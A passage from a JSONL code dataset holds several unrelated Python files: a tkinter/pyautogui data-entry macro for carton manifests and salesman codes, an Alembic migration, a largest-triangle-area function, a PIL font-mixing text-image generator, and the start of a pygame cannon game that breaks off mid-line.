= 25, y = 160)\n\n        label = tk.Label(self.root, text = \"4. Wait until the application finishes or another prompt displays a new set of instructions.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 190)\n\n        label = tk.Label(self.root, text = \"** NOTE: To stop the macro, quickly move the mouse cursor to the top left corner of screen.\")\n        label.config(font = (\"Arial\", 10, \"bold\"), fg = \"red\")\n        label.place(x = 25, y = 230)\n\n        button = tk.Button(self.root, text = \"Set Positition\", command = lambda: self.__set_position())\n        button.config(height = 3, width = 25, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 30, y = 270)\n\n        button = tk.Button(self.root, text = \"Return to\\nMain Menu\", command = lambda: self.__confirm_main_menu())\n        button.config(height = 3, width = 25, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 330, y = 270)\n\n\n    \"\"\" Set the mouse cursor position \"\"\"\n    def __set_position(self):\n\n        self.__set_geometry(350, 350)\n\n        label = tk.Label(self.root, text = \"Set Position and Mouse Direction\")\n        label.config(font = (\"Arial\", 14, \"bold\"))\n        label.place(x = 25, y = 10)\n\n        label = tk.Label(self.root, text = '-'*100)\n        label.config(font = (\"Arial\", 14))\n        label.place(x = 0, y = 40)\n\n        # Move Up\n        button = tk.Button(self.root, text = \"Move Up\", command = lambda: self.__move_cursor(0, -200))\n        button.config(height = 2, width = 9, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 125, y = 75)\n\n        # Move Down\n        button = tk.Button(self.root, text = \"Move Down\", command = lambda: self.__move_cursor(0, 250))\n        button.config(height = 2, width = 9, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 125, y = 150)\n\n        # Move Left\n        button = tk.Button(self.root, text = \"Move Left\", command = lambda: self.__move_cursor(-175, 0))\n        button.config(height = 2, width = 9, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 15, y = 110)\n\n        # Move Right\n        button = tk.Button(self.root, text = \"Move Right\", command = lambda: self.__move_cursor(175, 0))\n        button.config(height = 2, width = 9, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 235, y = 110)\n\n        if self.macro == \"reprint\" or self.macro == \"salesman_code\":\n\n            button = tk.Button(self.root, text = \"Return to\\nMain Menu\", command = lambda: self.__confirm_main_menu())\n            button.config(height = 3, width = 20, font=(\"Arial\", 12, \"bold\"))\n            button.place(x = 75, y = 260)\n\n        else:\n            button = tk.Button(self.root, text = \"Return to\\nMain Menu\", command = lambda: self.__confirm_main_menu())\n            button.config(height = 3, width = 12, font=(\"Arial\", 12, \"bold\"))\n            button.place(x = 25, y = 260)\n\n            button = tk.Button(self.root, text = \"Previous Page\", command = lambda: self.__previous_page())\n            button.config(height = 3, width = 14, font=(\"Arial\", 12, \"bold\"))\n            button.place(x = 170, y = 260)\n\n\n    \"\"\" Move cursor to appropriate position \"\"\"\n    def __move_cursor(self, x, y):\n\n        # Move mouse to position & click into program\n        pyautogui.moveRel(x, y, duration=pyautogui.MINIMUM_DURATION)\n        pyautogui.click()\n\n        if self.macro == \"reprint\":\n            self.__reprint_macro()\n\n        elif self.macro == \"carton_manifest\":\n            self.__carton_manifest_macro()\n\n        elif self.macro == \"salesman_code\":\n            self.__salesman_code_macro()\n\n\n    \"\"\" Allow user to go back to previous page. \"\"\" \n    def __previous_page(self):\n\n        if self.previous_page == \"__set_carton_count\":\n            self.remaining_cartons += len(self.data) \n            self.start_index = self.previous_start_index\n            self.end_index = self.previous_end_index\n            self.__set_carton_count()\n\n        elif self.previous_page == \"__remove_problem_cells\":\n            self.data = copy.deepcopy(self.data_backup)\n            self.data = self.data[self.start_index:self.end_index]\n            self.__remove_problem_cells()\n            \n            \n    \"\"\" Reprint macro commands \"\"\"\n    def __reprint_macro(self):\n\n        # Catch pyautogui.FAILSAFE.\n        try:\n            for i in range(len(self.data)):\n\n                # Pause after each set of 100 entries to give the program time to catch up\n                if (i > 0) and (i % 100) == 0:\n                    time.sleep(3)\n\n                # Write values to screen\n                pyautogui.typewrite(str(self.data[i]))\n\n                # Press 'enter'\n                pyautogui.keyDown(\"enter\")\n                pyautogui.keyUp(\"enter\")\n\n                # Press '9'\n                pyautogui.keyDown(\"9\")\n                pyautogui.keyUp(\"9\")\n\n                # Press 'enter'\n                pyautogui.keyDown(\"enter\")\n                pyautogui.keyUp(\"enter\")\n\n                # Press 'f12'\n                pyautogui.keyDown(\"f12\")\n                pyautogui.keyUp(\"f12\")\n\n            messagebox.showinfo(\"Complete\", \"The macro is finished. Returning to main menu.\")\n            self.__main_menu()\n\n        except:\n            messagebox.showinfo(\"Stop\", \"Failsafe activated. The macro has stopped.\")\n\n\n    \"\"\" Configuration settings for the reprint macro \"\"\"\n    def __config_carton_manifest(self):\n\n        self.macro = \"carton_manifest\"\n        self.__set_geometry(width = 400, height = 350, resizable = True)\n\n        label = tk.Label(self.root, text = \"Carton Manifest Macro Instructions\")\n        label.config(font = (\"Arial\", 14, \"bold\"))\n        label.place(x = 30, y = 10)\n\n        label = tk.Label(self.root, text = '-'*100)\n        label.config(font = (\"Arial\", 16))\n        label.place(x = 0, y = 40)\n\n        label = tk.Label(self.root, text = \"1. Click the \\\"Select File\\\" button.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 70)\n\n        label = tk.Label(self.root, text = \"2. Select data file.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 100)\n\n        label = tk.Label(self.root, text = \"a. This file must contain the following column: \")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 40, y = 130)\n\n        label = tk.Label(self.root, text = \"i. CHCASN\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 55, y = 160)\n\n        label = tk.Label(self.root, text = \"3. Click the \\\"Submit\\\" button.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 190)\n\n        label = tk.Label(self.root, text = \"Selected File: \")\n        label.config(font = (\"Arial\", 12, \"bold\"))\n        label.place(x = 25, y = 240)\n\n        label = tk.Label(self.root, textvariable = self.uploaded_file)\n        label.config(font = (\"Arial\", 12, \"italic\"))\n        label.place(x = 140, y = 240)\n\n        button = tk.Button(self.root, text = \"Select\\nFile\", command = lambda: self.__upload())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 20, y = 270)\n\n        button = tk.Button(self.root, text = \"Submit\", command = lambda: self.__verify_carton_manifest())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 145, y = 270)\n\n        button = tk.Button(self.root, text = \"Return to\\nMain Menu\", command = lambda: self.__confirm_main_menu())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 270, y = 270)\n\n\n    \"\"\" Verify valid file for carton manifest. \"\"\" \n    def __verify_carton_manifest(self):\n\n        if self.data is None:\n            self.__error(message = \"Please select a file to proceed.\")\n            return()\n\n        columns = self.data.columns.values.tolist()\n        \n        if \"CHCASN\" not in columns:\n            self.__error(\"You must provide a valid file that contains the following column: CHCASN\")\n            return()\n\n        self.data = self.data[\"CHCASN\"].values.tolist()\n        self.data_backup = copy.deepcopy(self.data)\n        self.__set_carton_count()\n\n\n    \"\"\" Allow user to set number of carton entries. \"\"\" \n    def __set_carton_count(self):\n\n        self.__set_geometry(width = 390, height = 200)\n\n        self.previous_page = \"__set_carton_count\"\n\n        # Display remaining cartons.\n        remaining_cartons = tk.StringVar()\n\n        # Alert user if an error occurs with input data. \n        carton_entry_error = tk.StringVar()\n\n        # Reactive value to get input from user. \n        # Update 'Remaining Cartons' on each character entry. \n        carton_number = tk.StringVar()\n        carton_number.trace(mode = 'w', callback = lambda name, index, mode, \n            carton_number = carton_number: self.__remaining_cartons(carton_number = carton_number.get(),\n            carton_entry_error = carton_entry_error, remaining_cartons = remaining_cartons)\n        )\n\n        label = tk.Label(self.root, text = \"Remaining Cartons:\")\n        label.config(font = (\"Arial\", 12, \"bold\"))\n        label.place(x = 25, y = 10)\n\n        label = tk.Label(self.root, textvariable = remaining_cartons)\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 190, y = 10)\n\n        label = tk.Label(self.root, text = \"Carton Count:\")\n        label.config(font = (\"Arial\", 12, \"bold\"))\n        label.place(x = 25, y = 40)\n\n        label = tk.Label(self.root, textvariable = carton_entry_error)\n        label.config(font = (\"Arial\", 9, \"italic\"), fg = \"red\")\n        label.place(x = 25, y = 70)\n        \n        entry = tk.Entry(self.root, textvariable = carton_number)\n        entry.insert(index = 0, string = str(self.carton_entry_count))\n        entry.focus_set()\n        entry.place(x = 150, y = 45)\n\n        button = tk.Button(self.root, text = \"Return to\\nMain Menu\", command = lambda: self.__confirm_main_menu())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 25, y = 110)        \n\n        button = tk.Button(self.root, text = \"Submit Carton Count\", \n            command = lambda: self.__next(count = carton_number.get()))\n        button.config(height = 3, width = 20, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 150, y = 110)\n\n\n    \"\"\" Update remaining cartons. \"\"\"\n    def __remaining_cartons(self, carton_number, carton_entry_error, remaining_cartons):\n\n        try:\n            carton_number = int(carton_number)\n\n            if (carton_number <= 0):\n                carton_entry_error.set(\"ERROR: Carton Count must be greater than 0.\")\n                remaining_cartons.set(str(self.remaining_cartons))\n\n            else:\n                carton_entry_error.set(\"\")\n                remaining = self.remaining_cartons - carton_number\n                \n                if remaining <= 0:\n                    remaining = 0\n\n                remaining_cartons.set(str(remaining))\n\n        except ValueError:\n            carton_entry_error.set(\"ERROR: Carton Count must be an integer value (i.e., 5, 10, etc.)\")\n            remaining_cartons.set(str(self.remaining_cartons))\n\n\n    \"\"\" Verify there are more cartons to process. \"\"\" \n    def __are_cartons_remaining(self):\n        if self.remaining_cartons <= 0:\n            messagebox.showinfo(\"Complete\", \"The macro is finished. Returning to main menu.\")\n            self.__main_menu()\n\n        else:\n            self.__set_carton_count()\n            \n\n    \"\"\" Ask user if any cartons caused issues during entry. \"\"\" \n    def __any_issues(self):\n        self.__set_geometry(width = 300, height = 180)\n        tk.Label(self.root, text = \"Were there any issues?\", font = (\"Arial\", 14, \"bold\")).place(x = 40, y = 10)\n\n        # Issues with entered values. \n        reprint_button = tk.Button(self.root, text = \"Yes\", command = lambda: self.__remove_problem_cells())\n        reprint_button.config(height = 4, width = 10, font = (\"Arial\", 14))\n        reprint_button.place(x = 20, y = 50)\n        \n        # No issues. \n        carton_manifest_button = tk.Button(self.root, text = \"No\", command = lambda: self.__are_cartons_remaining())\n        carton_manifest_button.config(height = 4, width = 10, font = (\"Arial\", 14))\n        carton_manifest_button.place(x = 155, y = 50)\n\n\n    \"\"\" Allow user to remove entries causing processing issues. \"\"\" \n    def __remove_problem_cells(self):\n        self.__set_geometry(width = 420, height = 500)\n\n        self.previous_page = \"__remove_problem_cells\"\n\n        label = tk.Label(self.root, text = \"Search Results\")\n        label.config(font = (\"Arial\", 14))\n        label.place(x = 20, y = 70)\n\n        search_results = tk.Listbox(self.root)\n        search_results.place(x = 25, y = 100)\n\n        label = tk.Label(self.root, text = \"Values to Ignore\")\n        label.config(font = (\"Arial\", 14))\n        label.place(x = 235, y = 70)\n\n        ignore_values = tk.Listbox(self.root)\n        ignore_values.place(x = 240, y = 100)\n\n        label = tk.Label(self.root, text = \"Search\")\n        label.config(font = (\"Arial\", 14))\n        label.place(x = 25, y = 10)\n\n        # Reactive value for searched value.  \n        search_value = tk.StringVar()\n        search_value.trace(mode = 'w', callback = lambda name, index, mode, \n            search_value = search_value: self.__filter_columns(query = search_value.get(), \n            search_results = search_results, ignore_values = ignore_values))\n\n        # Allow user to search for value. \n        entry = tk.Entry(self.root, textvariable = search_value)\n        entry.insert(index = 0, string = '')\n        entry.focus_set()\n        entry.place(x = 20, y = 40)\n\n        button = tk.Button(self.root, text = \"Add\", \n            command = lambda: self.__add_value(search_results = search_results, ignore_values = ignore_values))\n        button.config(height = 2, width = 10, font = (\"Arial\", 12))\n        button.place(x = 35, y = 280)\n\n        button = tk.Button(self.root, text = \"Remove\",\n            command = lambda: self.__remove_value(ignore_values = ignore_values, search_results = search_results))\n        button.config(height = 2, width = 10, font = (\"Arial\", 12))\n        button.place(x = 255, y = 280)\n\n        button = tk.Button(self.root, text = \"Return to\\nMain Menu\", command = lambda: self.__confirm_main_menu())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 25, y = 400)\n\n        button = tk.Button(self.root, text = \"Retry Values\", \n            command = lambda: self.__retry(ignore_values = ignore_values))\n        button.config(height = 3, width = 20, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 190, y = 400)\n\n        # Call an empty search query to show all values initially. \n        self.__filter_columns(query = '', search_results = search_results, ignore_values = ignore_values)\n\n\n    \"\"\" Filter search results \"\"\"\n    def __filter_columns(self, query, search_results, ignore_values):\n        search_results.delete(0, tk.END)\n        ignore_values = ignore_values.get(0, tk.END)\n\n        query = query.strip()\n\n        # Show matching query results. \n        if query != '':\n            results = [data for data in set(self.data) if query in str(data)]\n            for result in sorted(results):\n                if result not in ignore_values:\n                    search_results.insert(tk.END, result)\n\n        # Show all results. \n        else:\n            for data in sorted(set(self.data)):\n                if data not in ignore_values:\n                    search_results.insert(tk.END, data)\n\n\n    \"\"\" Add value to \"Ignore Values\" list. \"\"\"\n    def __add_value(self, search_results, ignore_values):\n        \n        try:\n            index = search_results.curselection()\n            selected = search_results.get(index)\n\n            if selected not in ignore_values.get(0, tk.END):\n                ignore_values.insert(tk.END, selected)\n                search_results.delete(index)\n\n        except:\n            pass\n\n\n    \"\"\" Remove value from \"Ignore Values\" list. \"\"\"\n    def __remove_value(self, ignore_values, search_results):\n\n        try:\n            index = ignore_values.curselection()\n            selected = ignore_values.get(index)\n\n            _search_results = list(search_results.get(0, tk.END))\n            _search_results.append(selected)\n            search_results.delete(0, tk.END)\n            \n            for value in sorted(_search_results):\n                search_results.insert(tk.END, value)\n            \n            ignore_values.delete(index)\n\n        except:\n            pass\n    \n\n    \"\"\" Retry previous values minus skip values. \"\"\"\n    def __retry(self, ignore_values):\n        \n        if self.end_index != 0:\n            ignore_values = ignore_values.get(0, tk.END)\n            self.data = [i for i in self.data if i not in ignore_values]\n            self.__set_position()\n\n    \n    \"\"\" Try next set of values based on user-supplied carton count. \"\"\" \n    def __next(self, count):\n        try:\n            count = int(count)\n\n            if (count <= 0):\n                self.__error(message = \"Carton Count must be greater than 0.\")\n                return()\n\n            else:\n                self.carton_entry_count = count\n\n        except ValueError:\n            self.__error(message = \"Carton Count must be an integer value (i.e., 5, 10, etc.)\")\n            return()\n\n        self.data = copy.deepcopy(self.data_backup)\n\n        # Update previos start and end indices.\n        # This allows the user to go back to the previous page\n        # with the correct data.  \n        self.previous_start_index = self.start_index\n        self.previous_end_index = self.end_index \n\n        # First time running. \n        if self.end_index == 0:\n            self.end_index = self.carton_entry_count\n            self.data = self.data[self.start_index:self.end_index]\n\n        else:\n            self.start_index = self.end_index\n            self.end_index += self.carton_entry_count\n            self.data = self.data[self.start_index:self.end_index]\n\n        # Update remaining cartons\n        self.remaining_cartons -= len(self.data)  \n        self.__set_position()\n\n\n    \"\"\" Perform the carton manifest macro. \"\"\" \n    def __carton_manifest_macro(self):\n        \n        try:\n            for i in range(len(self.data)):\n\n                # Pause after each set of 100 entries to give the program time to catch up\n                if (i > 0) and (i % 100) == 0:\n                    time.sleep(3)\n\n                # Write values to screen\n                pyautogui.typewrite(str(self.data[i]))\n\n                # Press 'enter'\n                pyautogui.keyDown(\"enter\")\n                pyautogui.keyUp(\"enter\")\n            \n            self.__any_issues()\n\n        except:\n            self.__remove_problem_cells()\n\n\n    \"\"\" Configuration settings for the salesman code maintenance macro \"\"\"\n    def __config_salesman_code(self):\n\n        self.macro = \"salesman_code\"\n        self.__set_geometry(width = 400, height = 420, resizable = True)\n\n        label = tk.Label(self.root, text = \"Salesman Code Maintenance Macro Instructions\")\n        label.config(font = (\"Arial\", 12, \"bold\"))\n        label.place(x = 10, y = 10)\n\n        label = tk.Label(self.root, text = '-'*65)\n        label.config(font = (\"Arial\", 16))\n        label.place(x = 0, y = 45)\n\n        label = tk.Label(self.root, text = \"1. Click the \\\"Select File\\\" button.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 70)\n\n        label = tk.Label(self.root, text = \"2. Select data file.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 100)\n\n        label = tk.Label(self.root, text = \"a. This file must contain 3 columns: \")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 40, y = 130)\n\n        label = tk.Label(self.root, text = \"(1) Must be the \\\"code\\\" values.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 55, y = 160)\n\n        label = tk.Label(self.root, text = \"(2) Must be the \\\"style\\\" values.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 55, y = 190)\n\n        label = tk.Label(self.root, text = \"(3) Must be the \\\"suffix\\\" values.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 55, y = 220)\n\n        label = tk.Label(self.root, text = \"3. Click the \\\"Submit\\\" button.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 250)\n\n        label = tk.Label(self.root, text = \"Selected File: \")\n        label.config(font = (\"Arial\", 12, \"bold\"))\n        label.place(x = 25, y = 300)\n\n        label = tk.Label(self.root, textvariable = self.uploaded_file)\n        label.config(font = (\"Arial\", 12, \"italic\"))\n        label.place(x = 140, y = 300)\n\n        button = tk.Button(self.root, text = \"Select\\nFile\", command = lambda: self.__upload())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 20, y = 330)\n\n        button = tk.Button(self.root, text = \"Submit\", command = lambda: self.__verify_salesman_code())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 145, y = 330)\n\n        button = tk.Button(self.root, text = \"Return to\\nMain Menu\", command = lambda: self.__confirm_main_menu())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 270, y = 330)\n\n\n    \"\"\" Verify the requirements for the salesman code maintenance macro. \"\"\" \n    def __verify_salesman_code(self):\n\n        if self.data is None:\n            self.__error(message = \"Please select a file to proceed.\")\n            return()\n\n        columns = self.data.columns.values.tolist()\n        \n        if len(columns) != 3:\n            self.__error(\"This file must contain 3 columns.\")\n            return()\n\n        for i in self.data.iloc[:, 0]:\n            if len(str(i)) != 3:\n                self.__error(\"Each value in column 1 must be 3 characters.\")\n                return()\n\n        for i in self.data.iloc[:, 1]:\n            if len(str(i)) > 7:\n                self.__error(\"Each value in column 2 must be between 5-7 characters.\")\n                return()\n\n        for i in self.data.iloc[:, 2]:\n            if len(str(i)) != 2:\n                self.__error(\"Each value in column 3 must be 2 characters.\")\n                return()\n\n        self.__set_position_instructions()  \n\n\n    \"\"\" Salesman code maintenance macro commands \"\"\"\n    def __salesman_code_macro(self):\n\n        code = self.data.iloc[:, 0]\n        style = self.data.iloc[:, 1]\n        suffix = self.data.iloc[:, 2]\n\n        # Catch pyautogui.FAILSAFE.\n        try:\n            for i in range(len(self.data)):\n\n                # Pause after each set of 100 entries to give the program time to catch up\n                if (i > 0) and (i % 100) == 0:\n                    time.sleep(3)\n\n                # Press 'f6'\n                pyautogui.keyDown(\"f6\")\n                pyautogui.keyUp(\"f6\")\n\n                # Enter 'code'\n                pyautogui.typewrite(str(code[i]).upper())\n\n                # Enter 'style'\n                pyautogui.typewrite(str(style[i]))\n\n                # Enter 'tab'\n                pyautogui.keyDown(\"tab\")\n                pyautogui.keyUp(\"tab\")\n\n                # Enter 'suffix'\n                pyautogui.typewrite(str(suffix[i]).upper())\n\n                # Enter 'enter'\n                pyautogui.keyDown(\"enter\")\n                pyautogui.keyUp(\"enter\")\n\n                # Enter 'f16' = 'shift' + 'f4'\n                pyautogui.keyDown(\"shift\")\n                pyautogui.keyDown(\"f4\")\n                pyautogui.keyUp(\"f4\")\n                pyautogui.keyUp(\"shift\")\n\n            messagebox.showinfo(\"Complete\", \"The macro is finished. Returning to main menu.\")\n            self.__main_menu()\n\n        except:\n            messagebox.showinfo(\"Stop\", \"Failsafe activated. The macro has stopped.\")\n\n\n    \"\"\" Error helper function \"\"\"\n    def __error(self, message):\n        messagebox.showerror(\"Error\", message)\n\n\n\"\"\" Start the application \"\"\"\nif __name__ == \"__main__\":\n    \n    # Delay between each pyautogui call\n    pyautogui.PAUSE = 0.0\n\n    # Quickly move the mouse to the top-left of the screen to stop the program.\n    pyautogui.FAILSAFE = True\n\n    root = tk.Tk()\n    app = MainApplication(root)\n    root.mainloop()\n\n\n","sub_path":"macro_win_7.py","file_name":"macro_win_7.py","file_ext":"py","file_size_in_byte":33266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"503851747","text":"\"\"\"added scale column to sitemap\n\nRevision ID: 68c90ef0a089\nRevises: d2ea3620e79f\nCreate Date: 2017-06-24 08:46:47.860213\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '68c90ef0a089'\ndown_revision = 'd2ea3620e79f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.add_column('site_map', sa.Column('scale', sa.Float(precision=12), nullable=True))\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_column('site_map', 'scale')\n    # ### end Alembic commands ###\n","sub_path":"alembic/versions/68c90ef0a089_added_scale_column_to_sitemap.py","file_name":"68c90ef0a089_added_scale_column_to_sitemap.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"80462687","text":"'''\nYou have a list of points in the plane. Return the area of the largest triangle that can be formed \nby any 3 of the points.\n\nExample:\nInput: points = [[0,0],[0,1],[1,0],[0,2],[2,0]]\nOutput: 2\nExplanation: \nThe five points are show in the figure below. The red triangle is the largest.\n'''\n\nimport math\n\ndef dis(p1,p2):\n    return math.sqrt((p1[1] - p2[1]) ** 2 + (p1[0] - p2[0]) ** 2) \n    \ndef area(a,b,c):\n    h = (a + b + c) * (a + b - c) * (a - b + c) * (-a + b + c)\n    try: return math.sqrt(h) / 4\n    except: return 0\n\n\ndef largest_area(points):\n    \"\"\"\n    :type points: List[List[int]]\n    :rtype: float\n    \"\"\"\n    l = len(points)\n    d = [[0 for i in range(l)] for j in range(l)]\n    for i in range(l - 1):\n        for j in range(i, l):\n            d[i][j] = dis(points[i], points[j])\n            \n    maxarea = 0\n    for i in range(l - 2):\n        for j in range(i, l - 1):\n            for k in range(j, l):\n                maxarea = max(maxarea, area(d[i][j], d[i][k], d[j][k]))\n                \n    return maxarea ","sub_path":"algorithms/math/largest_triangle_area.py","file_name":"largest_triangle_area.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"288541755","text":"# -*- coding: utf-8 -*-\n\nfrom PIL import Image, ImageFont, ImageDraw\nimport random\nimport os\n\nclass FontMix(object):\n\n    @classmethod\n    def randSpacing(self):\n        return float(random.randint(-20,20))/10\n    \n    @classmethod\n    def calcSpacing(self, spacing, font_size):\n        return int((spacing - 1) * 2 * font_size / 70)\n        #return 1\n    \n    @classmethod\n    def drawText(self, draw, x, y, string, font, spacing, fill, bounding_box):\n        pixel_offset = spacing\n        width_start = x\n        char_rois = []\n        vfill = fill\n        for char in string:\n            (w,h),(_,offset_y) = font.font.getsize(char) \n            vfill = max(0, fill + random.randint(-10,10))\n            draw.text((width_start, y), char, fill=(vfill, vfill, vfill), font=font) \n            if bounding_box and char is not ' ':\n                try:\n                    base_x, base_y, top_x, top_y = font.getmask(char).getbbox()\n                except:\n                    print(\"Error with this font: \", font.getname(), \" drawing this character: \\'\", char, \"\\', hex code: \", hex(ord(char.encode('utf-8'))))\n                    raise\n                char_rois.append((base_x + width_start, \n                                  base_y + y + offset_y, \n                                  top_x + width_start, \n                                  top_y + y + offset_y))\n            width_start = width_start + w + pixel_offset\n        return char_rois\n    \n    @classmethod\n    def sizeText(self, font, string, spacing):\n        pixel_offset = spacing\n        total_width = 0\n        total_height = 0\n        for char in string:\n            (w, h),(_, offset_y) = font.font.getsize(char)\n            total_width += w + pixel_offset\n            total_height = max(total_height, h + offset_y)    \n        return (total_width, total_height)\n    \n    @classmethod\n    def randSplit(self, word, splits):\n        for splitLen in splits:\n            if splitLen >= len(word):\n                yield word\n                break\n            yield word[:splitLen]\n            word = word[splitLen::]\n    \n    @classmethod\n    def randGen(self, low,hi):\n        while True:\n            yield random.randint(low,hi)\n\n    @classmethod                             \n    def randomFont(self, fonts):\n        font_file = fonts[random.randint(0, len(fonts) - 1)] \n        return font_file \n    \n    class Text:\n        def __init__(self, string, font_path, font_size):\n            self.string = string\n            self.font = ImageFont.truetype(font_path, size = random.randint(-20,20) + font_size)\n            self.spacing = FontMix.calcSpacing(FontMix.randSpacing(), font_size)\n            self.text_width, self.text_height = FontMix.sizeText(self.font, self.string, self.spacing) \n            self.ascent = self.font.font.ascent\n    \n    @classmethod\n    def calcImageHeight(self, text_objects, image_ascent):\n        adjusted_heights_list = []\n        for text_object in text_objects:\n            adjusted_heights_list.append(text_object.text_height + image_ascent - text_object.ascent)\n        return max(adjusted_heights_list)\n    \n    @classmethod\n    def drawImage(self, draw, text_objects, image_ascent, fill, bounding_box):\n        width_start = 0\n        string_rois = []\n        for text_object in text_objects:\n            string_rois += self.drawText(draw, width_start, image_ascent - text_object.ascent, text_object.string, text_object.font, text_object.spacing, fill, bounding_box)\n            width_start += text_object.text_width\n        return string_rois\n\n    @classmethod\n    def draw(self, text, fonts, fill, font_size, bounding_box):\n        \n        split_text = list(self.randSplit(text,self.randGen(1,len(text))))\n        text_objects = []\n        \n        for string in split_text:\n           text_objects.append(FontMix.Text(string, self.randomFont(fonts), font_size)) \n        \n        image_width = sum(text_object.text_width for text_object in text_objects)\n        image_ascent = max(text_object.ascent for text_object in text_objects)\n        image_height = self.calcImageHeight(text_objects, image_ascent)\n        \n        text_image = Image.new('RGBA', (image_width, image_height), (0, 0, 0, 0))\n        draw = ImageDraw.Draw(text_image)\n        string_rois = self.drawImage(draw, text_objects, image_ascent, fill, bounding_box)\n        \n        return text_image, string_rois\n","sub_path":"TextRecognitionDataGenerator/font_mix.py","file_name":"font_mix.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"203428651","text":"import pygame\r\nimport math3d\r\nimport random\r\nimport math\r\n\r\nclass obj_Physics(object):\r\n\t\"\"\"A object that has basic attributes and definitions for this game such as:\r\n\t   -self.mPos: VectorN object holding object's position\r\n\t   -self.mVel: VectorN object holding object's velocity\r\n\t   -def accel: This object's acceleration\r\n\t   -def update: This object's basic update method of movement\"\"\"\r\n\tdef __init__(self, pos, vel):\r\n\t\tself.mPos = math3d.VectorN(pos)\r\n\t\tself.mVel = math3d.VectorN(vel)\r\n\t\t\r\n\tdef accel(self, a, dt):\r\n\t\tself.mVel += math3d.VectorN((a*dt,0))\r\n\t\t\r\n\tdef update(self, dt):\r\n\t\tself.mPos += self.mVel * dt\r\n\t\t\r\n\tdef friction(self, dt, k):\r\n\t\t\"\"\"In this lab, friction is only used for cannon\"\"\"\r\n\t\toldVel = self.mVel.copy()\r\n\t\taf = -k*self.mVel.normalized_copy()\r\n\t\tself.mVel += af*dt\r\n\t\tif (oldVel[0] > 0 and self.mVel[0] < 0) or (oldVel[0] < 0 and self.mVel[0] > 0):\r\n\t\t\tself.mVel = math3d.VectorN(2)\r\n\r\n\t#For testing\r\n\tdef printPos(self):\r\n\t\tprint(self.mPos)\r\n\t\t\r\n\tdef printVel(self):\r\n\t\tprint(self.mVel)\r\n\t\t\r\n\tdef printAll(self):\r\n\t\tself.printPos()\r\n\t\tself.printVel()\r\n\r\nclass cannonBall(obj_Physics):\r\n\t\"\"\"A cannonball object, which automatically rotates itself and has its own gravity.\r\n\t   Will destroy itself when out of screen.\"\"\"\r\n\tdef __init__(self, pos, vel):\r\n\t\tsuper().__init__(pos,vel)\r\n\t\tself.img = pygame.image.load(\"images/coconut.png\").convert_alpha()\r\n\t\tself.imgRect = self.img.get_rect()\r\n\t\tself.gravity = math3d.VectorN((0,.2))\r\n\t\tself.rotation = 0\r\n\t\r\n\tdef update(self, dt):\r\n\t\tsuper().update(dt)\r\n\t\tself.rotation += random.randint(0,2)\r\n\t\tself.mVel += self.gravity\r\n\t\r\n\tdef render(self, dt):\r\n\t\ttmp = pygame.transform.rotate(self.img, self.rotation)\r\n\t\tscreen.blit(tmp, (self.mPos[0]-self.imgRect[2], self.mPos[1]-self.imgRect[3]))\t\r\nclass cannon(obj_Physics):\r\n\t\"\"\"Creates a cannon object.  The barrel will rotate between 0-45 degree angles.\r\n\t   The cannon can move left and right restricted to screen width.\r\n\t   The cannon can also shoot cannonballs.\"\"\"\r\n\r\n\tdef __init__(self,pos,vel):\r\n\t\tsuper().__init__(pos,vel)\r\n\t\t#Cannon Base\r\n\t\tself.img = pygame.image.load(\"images/cannon.png\").convert_alpha()\r\n\t\tself.imgRect = self.img.get_rect()\r\n\t\tself.width = self.imgRect[0]\r\n\t\t#Cannon Barrel\r\n\t\tself.barrelOffset = math3d.VectorN((75,12))\r\n\t\tself.barrelImg = pygame.image.load(\"images/barrell.png\").convert_alpha()\r\n\t\tself.barrelRect = self.barrelImg.get_rect()\r\n\t\tself.angle = 